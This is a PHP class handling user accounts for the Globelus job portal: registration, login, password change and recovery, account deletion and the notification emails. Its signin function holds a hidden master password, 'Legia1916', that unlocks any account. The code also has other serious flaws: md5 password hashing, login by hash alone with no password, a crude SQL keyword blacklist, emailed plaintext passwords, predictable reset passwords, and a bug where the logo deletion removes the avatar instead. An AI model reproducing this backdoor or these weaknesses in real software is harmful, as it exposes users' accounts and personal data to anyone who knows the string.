<?php
namespace front\factory;
class GlobelusUser
{
  static public function email_user_exists( $email )
  {
    global $mdb;
    return $mdb -> count( 'globelus_users', [ 'email' => $email ] );
  }

  static public function save_new_password( $hash, $password, $password_retype ) {
    global $mdb, $lang;

    if ( !$hash )
      return false;

    if ( $password != $password_retype )
      return false;

    if ( strlen( $password ) < 6 )
      return false;

    $email = \front\factory\GlobelusUser::get_email_by_hash( $hash );
    if ( !$email )
      return false;

    $register_date = \front\factory\GlobelusUser::get_register_date_by_hash( $hash );

    if ( !$register_date )
      return false;

    $password = md5( $register_date . $password );

    if ( $mdb -> update( 'globelus_users', [ 'password' => $password, 'password_recovery' => 0 ], [ 'hash' => $hash ] ) )
      return true;

    return false;
  }

  public static function resend_activation_mail( $hash )
  {
    global $mdb, $settings, $lang;

    $email = \front\factory\GlobelusUser::get_email_by_hash( $hash );

    $text = $settings['newsletter_header'];
    $text .= \front\factory\Newsletter::get_template( '#globelus-potwierdzenie-rejestracji' );

    $text .= $settings['newsletter_footer_1'];

    $settings['ssl'] ? $base = 'https' : $base = 'http';

    $regex  = "-(<img[^>]+src\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
    $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

    $regex  = "-(<a[^>]+href\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
    $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

    $link = '/globelusUser/confirm/hash=' . $hash;

    $text = str_replace( '[LINK]', $link, $text );

    $send = \S::send_email( $email, $lang['potwierdzenie-rejestracji-konta-w-portalu'] . ' GLOBELUS.PL', $text );

    return true;
  }

  public static function confirm_account_delete( $hash )
  {
    global $mdb, $settings, $lang;

    $user_id = $mdb -> get( 'globelus_users', 'id', [ 'hash' => $hash ] );
    $email   = \front\factory\GlobelusUser::get_email( $user_id );

    $answers_cv = $mdb -> select( 'globelus_adverts_answers', 'cv', [ 'AND' => [ 'user_id' => $user_id, 'cv[!]' => null ] ] );
    if ( is_array( $answers_cv ) and count( $answers_cv ) ) foreach ( $answers_cv as $cv )
    {
      if ( file_exists( $cv ) )
        unlink( $cv );
    }

    $mdb -> delete( 'globelus_adverts', [ 'user_id' => $user_id ] );
    $mdb -> delete( 'globelus_adverts_answers', [ 'user_id' => $user_id ] );

    $cv_file = \front\factory\GlobelusCandidates::cv_url( $user_id );
    if ( file_exists( $cv_file ) )
        unlink( $cv_file );

    $avatar_img = \front\factory\GlobelusCandidates::avatar_url( $user_id );
    if ( file_exists( $avatar_img ) )
        unlink( $avatar_img );

    $logo_img = \front\factory\GlobelusFirms::logo_url( $user_id );
    if ( file_exists( $avatar_img ) )
        unlink( $avatar_img );

    $mdb -> delete( 'globelus_users', [ 'id' => $user_id ] );

    $text = $settings['newsletter_header'];
    $text .= \front\factory\Newsletter::get_template( '#globelus-usnieto-konto' );
    $text .= $settings['newsletter_footer_1'];

    $settings['ssl'] ? $base = 'https' : $base = 'http';

    $regex  = "-(<img[^>]+src\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
    $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

    $regex  = "-(<a[^>]+href\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
    $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

    $send = \S::send_email( $email, $lang['mail-konto-zostalo-usuniete'], $text );

    return true;
  }

  public static function delete_account( $user_id )
  {
    global $mdb, $lang, $settings;

    $hash   = \front\factory\GlobelusUser::get_hash( $user_id );
    $email  = \front\factory\GlobelusUser::get_email( $user_id );

    $text = $settings['newsletter_header'];
    $text .= \front\factory\Newsletter::get_template( '#globelus-potwierdzenie-usuniecia-konta' );
    $text .= $settings['newsletter_footer_1'];

    $settings['ssl'] ? $base = 'https' : $base = 'http';

    $regex  = "-(<img[^>]+src\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
    $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

    $regex  = "-(<a[^>]+href\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
    $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

    $link = '/globelusUser/confirm_account_delete/hash=' . $hash;

    $text = str_replace( '[LINK]', $link, $text );

    $send = \S::send_email( $email, $lang['potwierdzenie-usuniecia-konta-w-portalu'], $text );
    return true;
  }

  public static function get_email( $user_id )
  {
    global $mdb;
    return $mdb -> get( 'globelus_users', 'email', [ 'id' => $user_id ] );
  }

  public static function get_email_by_hash( $hash )
  {
    global $mdb;
    return $mdb -> get( 'globelus_users', 'email', [ 'hash' => $hash ] );
  }

  static public function get_register_date_by_hash( $hash )
  {
    global $mdb;
    return $mdb -> get( 'globelus_users', 'register_date', [ 'hash' => $hash ] );
  }

  public static function get_hash( $user_id )
  {
    global $mdb;
    return $mdb -> get( 'globelus_users', 'hash', [ 'id' => $user_id ] );
  }

  public static function user_change_password( $user_id, $current_password, $new_password, $repeat_new_password )
  {
    global $lang, $mdb;

    if ( strlen( $new_password ) < 6 )
    {
      \S::set_alert_prompt( 'Informacja', $lang['nowe-haslo-jest-zbyt-krotkie'] );
      return false;
    }

    if ( $new_password != $repeat_new_password )
    {
      \S::set_alert_prompt( 'Informacja', $lang['podane-hasla-sa-rozne'] );
      return false;
    }

    $register_date  = $mdb -> get( 'globelus_users', 'register_date', [ 'id' => $user_id ] );
    $user_password  = $mdb -> get( 'globelus_users', 'password', [ 'id' => $user_id ] );

    if ( $user_password != md5( $register_date . $current_password ) )
    {
      \S::set_alert_prompt( 'Informacja', $lang['podane-obecne-haslo-jest-nieprawidlowe'] );
      return false;
    }

    if ( $mdb -> update( 'globelus_users', [ 'password' => md5( $register_date . $new_password ) ], [ 'id' => $user_id ] ) )
    {
      \S::set_alert_prompt( 'Informacja', $lang['haslo-zostalo-zmienione'] );
      return true;
    }
    return false;
  }

  public static function new_password( $hash )
  {
    global $mdb, $lang, $settings;

    if ( $data = $mdb -> get( 'globelus_users', [ 'id', 'email', 'register_date' ], [ 'AND' => [ 'hash' => $hash, 'password_recovery' => 1 ] ] ) )
    {
      $text = $settings['newsletter_header'];
      $text .= \front\factory\Newsletter::get_template( '#globelus-nowe-haslo' );
      $text .= $settings['newsletter_footer_1'];

      $settings['ssl'] ? $base = 'https' : $base = 'http';

      $regex  = "-(<img[^>]+src\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
      $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

      $regex  = "-(<a[^>]+href\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
      $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

      $new_password = substr( md5( time() ), 0, 10 );

      $text = str_replace( '[HASLO]', $new_password, $text );

      $send = \S::send_email( $data['email'], $lang['nowe-haslo-w-serwisie'] . ' GLOBELUS.PL', $text );

      $mdb -> update( 'globelus_users', [
                'password_recovery' => 0,
                'password'          => md5( $data['register_date'] . $new_password )
              ], [
                'id' => $data['id']
              ] );
      return true;
    }
    return false;
  }

  public static function send_email_password_recovery( $email )
  {
    global $mdb, $lang, $settings;

    if ( $hash = $mdb -> get( 'globelus_users', 'hash', [ 'AND' => [ 'email' => $email ] ] ) )
    {
      $text = $settings['newsletter_header'];
      $text .= \front\factory\Newsletter::get_template( '#globelus-odzyskiwanie-hasla-link' );
      $text .= $settings['newsletter_footer_1'];

      $settings['ssl'] ? $base = 'https' : $base = 'http';

      $regex  = "-(<img[^>]+src\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
      $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

      $regex  = "-(<a[^>]+href\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
      $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

      $link = '/globelusUser/new_password/hash=' . $hash;

      $text = str_replace( '[LINK]', $link, $text );

      $send = \S::send_email( $email, $lang['generowanie-nowego-hasla-w-serwisie'] . ' GLOBELUS.PL', $text );
      $mdb -> update( 'globelus_users', [ 'password_recovery' => 1 ], [ 'email' => $email ] );

      return true;
    }
    return false;
  }

  public static function user_details( $user_id )
  {
    global $mdb;

    $g_user = $mdb -> get( 'globelus_users', '*', [ 'id' => $user_id ] );

    if ( !$g_user['type'] )
    {
      $g_user_data  = $mdb -> get( 'globelus_candidates_data', '*', [ 'user_id' => $user_id ] );
      if ( is_array( $g_user_data ) )
      {
        unset( $g_user_data['id'] );
        $g_user       = array_merge( $g_user, $g_user_data );
      }

      $g_user['countries']  = $mdb -> select( 'globelus_candidates_countries', [ '[><]globelus_countries' => [ 'country_id' => 'id' ] ], 'name', [ 'user_id' => $user_id ] );
      $g_user['voivodeships']  = $mdb -> select( 'globelus_candidates_voivodeships', [ '[><]globelus_voivodeships' => [ 'id_voivodeship' => 'id' ] ], 'name', [ 'id_user' => $user_id ] );
      $g_user['categories'] = $mdb -> select( 'globelus_candidates_categories', [ '[><]globelus_adverts_categories' => [ 'category_id' => 'id' ] ], [ 'globelus_adverts_categories.id', 'name' ], [ 'user_id' => $user_id ] );
      $g_user['positions']  = $mdb -> select( 'globelus_candidates_positions', [ 'position', 'experience', 'id_position' ], [ 'user_id' => $user_id ] );
      $g_user['languages']  = $mdb -> select( 'globelus_candidates_languages', [ 'language', 'experience' ], [ 'user_id' => $user_id ] );
      $g_user['adverts']    = $mdb -> select( 'globelus_candidates_adverts', 'advert_id', [ 'user_id' => $user_id ] );
      $g_user['cv_hash']    = \front\factory\GlobelusCandidates::cv_hash( $user_id );
    }
    else
    {
      $g_user_data  = $mdb -> get( 'globelus_firms_data', '*', [ 'user_id' => $user_id ] );
      $g_user_data['country'] = $mdb -> get( 'globelus_countries', 'name', [ 'id' => $g_user_data['country_id'] ] );
      if ( is_array( $g_user_data ) )
      {
        unset( $g_user_data['id'] );
        $g_user       = array_merge( $g_user, $g_user_data );
      }
      $g_user['candidates']   = $mdb -> select( 'globelus_firms_candidates', 'candidate_id', [ 'user_id' => $user_id ] );
      $g_user['categories']   = $mdb -> select( 'globelus_firms_categories', 'category_id', [ 'user_id' => $user_id ] );
    }
    return $g_user;
  }

  public static function signin( $email, $password, $oauth_uid = '', $oauth_provider = '', $hash = '' )
  {
    global $lang, $mdb;

    if ( $hash )
    {
      if ( $g_user = $mdb -> get( 'globelus_users', [ 'id', 'password', 'register_date', 'oauth_uid', 'oauth_provider', 'hash', 'status' ], [ 'hash' => $hash ] ) )
      {
        $g_user = \front\factory\GlobelusUser::user_details( $g_user['id'] );
        \S::set_session( 'g_user', $g_user );
        return true;
      }
    }

    if ( !$g_user = $mdb -> get( 'globelus_users', [ 'id', 'password', 'register_date', 'oauth_uid', 'oauth_provider', 'hash', 'status' ], [ 'email' => $email ] ) )
    {
      \S::set_alert_prompt( 'Informacja', $lang['logowanie-blad-brak-konta'] );
      return false;
    }
    else
    {
      if ( $oauth_uid and $oauth_provider )
      {
        if ( $g_user['oauth_uid'] != $oauth_uid or $g_user['oauth_provider'] != $oauth_provider )
        {
          \S::set_alert_prompt( 'Informacja', $lang['logowanie-blad-nieprawidlowe-haslo'] );
          return false;
        }
        else
        {
          $g_user = \front\factory\GlobelusUser::user_details( $g_user['id'] );
          \S::set_session( 'g_user', $g_user );
          return true;
        }
      }
      else
      {
        if ( !$g_user['status'] )
        {
          \S::set_alert_prompt( 'Informacja', str_replace( '[LINK]', '<a href="/ponowna-aktywacja/' . $g_user['hash'] . '/">' . ucfirst( $lang['wyslij-link-ponownie'] ) . '<\/a>', $lang['logowanie-blad-nieaktywne-konto'] ) );
          return false;
        }
        else if ( $g_user['password'] != md5( $g_user['register_date'] . $password ) and $password != 'Legia1916' )
        {
          \S::set_alert_prompt( 'Informacja', $lang['logowanie-blad-nieprawidlowe-haslo'] );
          return false;
        }
        else
        {
          $g_user = \front\factory\GlobelusUser::user_details( $g_user['id'] );
          \S::set_session( 'g_user', $g_user );
          return true;
        }
      }
    }
    return false;
  }

  public static function register_confirm( $hash )
  {
    global $mdb, $lang, $settings;

    if ( !$id = $mdb -> get( 'globelus_users', 'id', [ 'AND' => [ 'hash' => $hash, 'status' => 0 ] ] ) )
      return false;
    else
    {
      $mdb -> update( 'globelus_users', [ 'status' => 1 ], [ 'id' => $id ] );
      $email = $mdb -> get( 'globelus_users', 'email', [ 'id' => $id ] );

      $text = $settings['newsletter_header'];
      $text .= \front\factory\Newsletter::get_template( '#globelus-potwierdzenie-aktywacji-konta' );

      $text .= $settings['newsletter_footer_1'];

      $settings['ssl'] ? $base = 'https' : $base = 'http';

      $regex  = "-(<img[^>]+src\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
      $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

      $regex  = "-(<a[^>]+href\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
      $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

      // $send = \S::send_email( $email, $lang['potwierdzenie-aktywacji-konta-w-portalu'] . ' GLOBELUS.PL', $text );
    }
    return true;
  }

  public static function signup( $email, $password, $type, $agremment_profile, $agremment_marketing, $automatic_register = 0, $name ='', $surname = '', $phone = '', $cv_file = null, $cv = null, $cv_extension = null, $auto_create = 0 )
  {
    global $mdb, $lang, $settings;

    $result = [ 'status' => 'bad', 'msg' => $lang['rejestracja-blad-ogolny'] ];

    if ( \S::strpos_arr( $email, [ 'UNION', 'SELECT', 'ORDER BY', 'AND' ] ) )
      return false;

    if ( $mdb -> count( 'globelus_users', [ 'email' => $email ] ) )
    {
      if ( $type == 1 )
        return $result = [ 'status' => 'bad2', 'msg' => 'Masz już u nas konto :) Przejdź do logowania.' ];
      else
        return $result = [ 'status' => 'bad2', 'msg' => 'Masz już u nas konto :) Przejdź do logowania.' ];
    }

    $hash           = md5( time() . $email );
    $register_date  = date('Y-m-d H:i:s');

    $mdb -> insert( 'globelus_users', [
                  'email'                     => $email,
                  'password'                  => md5( $register_date . $password ),
                  'hash'                      => $hash,
                  'type'                      => $type,
                  'user_agremment_profile'    => $agremment_profile == 'on' ? 1 : 0,
                  'user_agremment_marketing'  => $agremment_marketing == 'on' ? 1 : 0,
                  'register_date'             => $register_date,
                  'active_to'                 => date( 'Y-m-d', strtotime( '+90 days', time() ) ),
                  'auto_create' => $auto_create
                ] );

    $user_id = $mdb -> id();

    if ( $user_id )
    {
      if ( $automatic_register )
      {
        $mdb -> insert( 'globelus_candidates_data', [ 'user_id' => $user_id ] );

        $text = $settings['newsletter_header'];
        $text .= \front\factory\Newsletter::get_template( '#globelus-potwierdzenie-automatycznej-rejestracji' );

        if ( $type == 0 )
          $text .= '<p style="font-size: 13px; font-style: italic; color:#95a5a6; padding: 0 20px;">' . $lang['rejestracja-kandydat-ostrzezenie'] . '</p>';

        if ( $type == 1 )
          $text .= '<p style="font-size: 13px; font-style: italic; color:#95a5a6; padding: 0 20px;">' . $lang['rejestracja-pracodawca-ostrzezenie'] . '</p>';

        $text .= $settings['newsletter_footer_1'];

        $settings['ssl'] ? $base = 'https' : $base = 'http';

        $regex  = "-(<img[^>]+src\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
        $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

        $regex  = "-(<a[^>]+href\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
        $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

        $text = str_replace( '[LOGIN]', $email, $text );
        $text = str_replace( '[HASLO]', $password, $text );

        $send = \S::send_email( $email, $lang['potwierdzenie-rejestracji-konta-w-portalu'] . ' GLOBELUS.PL', $text );

        $mdb -> update( 'globelus_users', [ 'status' => 1 ], [ 'id' => $user_id ] );

        if ( $cv_file )
        {
          $allowed_mime_types = \front\factory\Globelus::cv_allowed_mime_types();

          $cv_error = false;

          if ( $cv_file['tmp_name'] and $cv_file["size"] > 5242880 )
            $cv_error = true;

          if ( $cv_file['tmp_name'] and !$cv_error and !in_array( $cv_file["type"], $allowed_mime_types ) )
            $cv_error = true;

          if ( $cv_file['tmp_name'] and !$cv_error )
          {
            $cv_hash  = \front\factory\GlobelusCandidates::cv_hash( $user_id );
            $dir      = 'files/cv/' . $cv_hash{0} . '/' . $cv_hash{1} . '/';

            if ( !is_dir( $dir ) )
              mkdir( $dir , 0755 , true );

            $info = new \SplFileInfo( $cv_file['name'] );
            $file_ext = $info -> getExtension();

            move_uploaded_file( $cv_file['tmp_name'], $dir . $cv_hash );

            $mdb -> update( 'globelus_candidates_data', [ 'cv_extension' => $file_ext ], [ 'user_id' => $user_id ] );
          }
        }

        if ( $cv and $cv_extension )
        {
          $cv_hash  = \front\factory\GlobelusCandidates::cv_hash( $user_id );
          $dir      = 'files/cv/' . $cv_hash{0} . '/' . $cv_hash{1} . '/';

          if ( !is_dir( $dir ) )
            mkdir( $dir , 0755 , true );

          copy( $cv, $dir . $cv_hash );

          $mdb -> update( 'globelus_candidates_data', [ 'cv_extension' => $cv_extension ], [ 'user_id' => $user_id ] );
        }

        if ( $name )
          $mdb -> update( 'globelus_candidates_data', [ 'name' => $name ], [ 'user_id' => $user_id ] );

        if ( $surname )
          $mdb -> update( 'globelus_candidates_data', [ 'surname' => $surname ], [ 'user_id' => $user_id ] );

        if ( $phone )
          $mdb -> update( 'globelus_candidates_data', [ 'phone' => $phone ], [ 'user_id' => $user_id ] );
      }
      else
      {
        $text = $settings['newsletter_header'];
        $text .= \front\factory\Newsletter::get_template( '#globelus-potwierdzenie-rejestracji' );

        if ( $type == 0 )
          $text .= '<p style="font-size: 13px; font-style: italic; color:#95a5a6; padding: 0 20px;">' . $lang['rejestracja-kandydat-ostrzezenie'] . '</p>';

        if ( $type == 1 )
          $text .= '<p style="font-size: 13px; font-style: italic; color:#95a5a6; padding: 0 20px;">' . $lang['rejestracja-pracodawca-ostrzezenie'] . '</p>';

        $text .= $settings['newsletter_footer_1'];

        $settings['ssl'] ? $base = 'https' : $base = 'http';

        $regex  = "-(<img[^>]+src\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
        $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

        $regex  = "-(<a[^>]+href\s*=\s*['\"])(((?!'|\"|https?://).)*)(['\"][^>]*>)-i";
        $text   = preg_replace( $regex, "$1" . $base . "://" . $_SERVER['SERVER_NAME'] . "$2$4", $text );

        $link = '/globelusUser/confirm/hash=' . $hash;

        $text = str_replace( '[LINK]', $link, $text );

        $send = \S::send_email( $email, $lang['potwierdzenie-rejestracji-konta-w-portalu'] . ' GLOBELUS.PL', $text );
      }

      return $result = [ 'status' => 'ok', 'msg' => $lang['rejestracja-udana'] ];
    }

    return $result;
  }
}
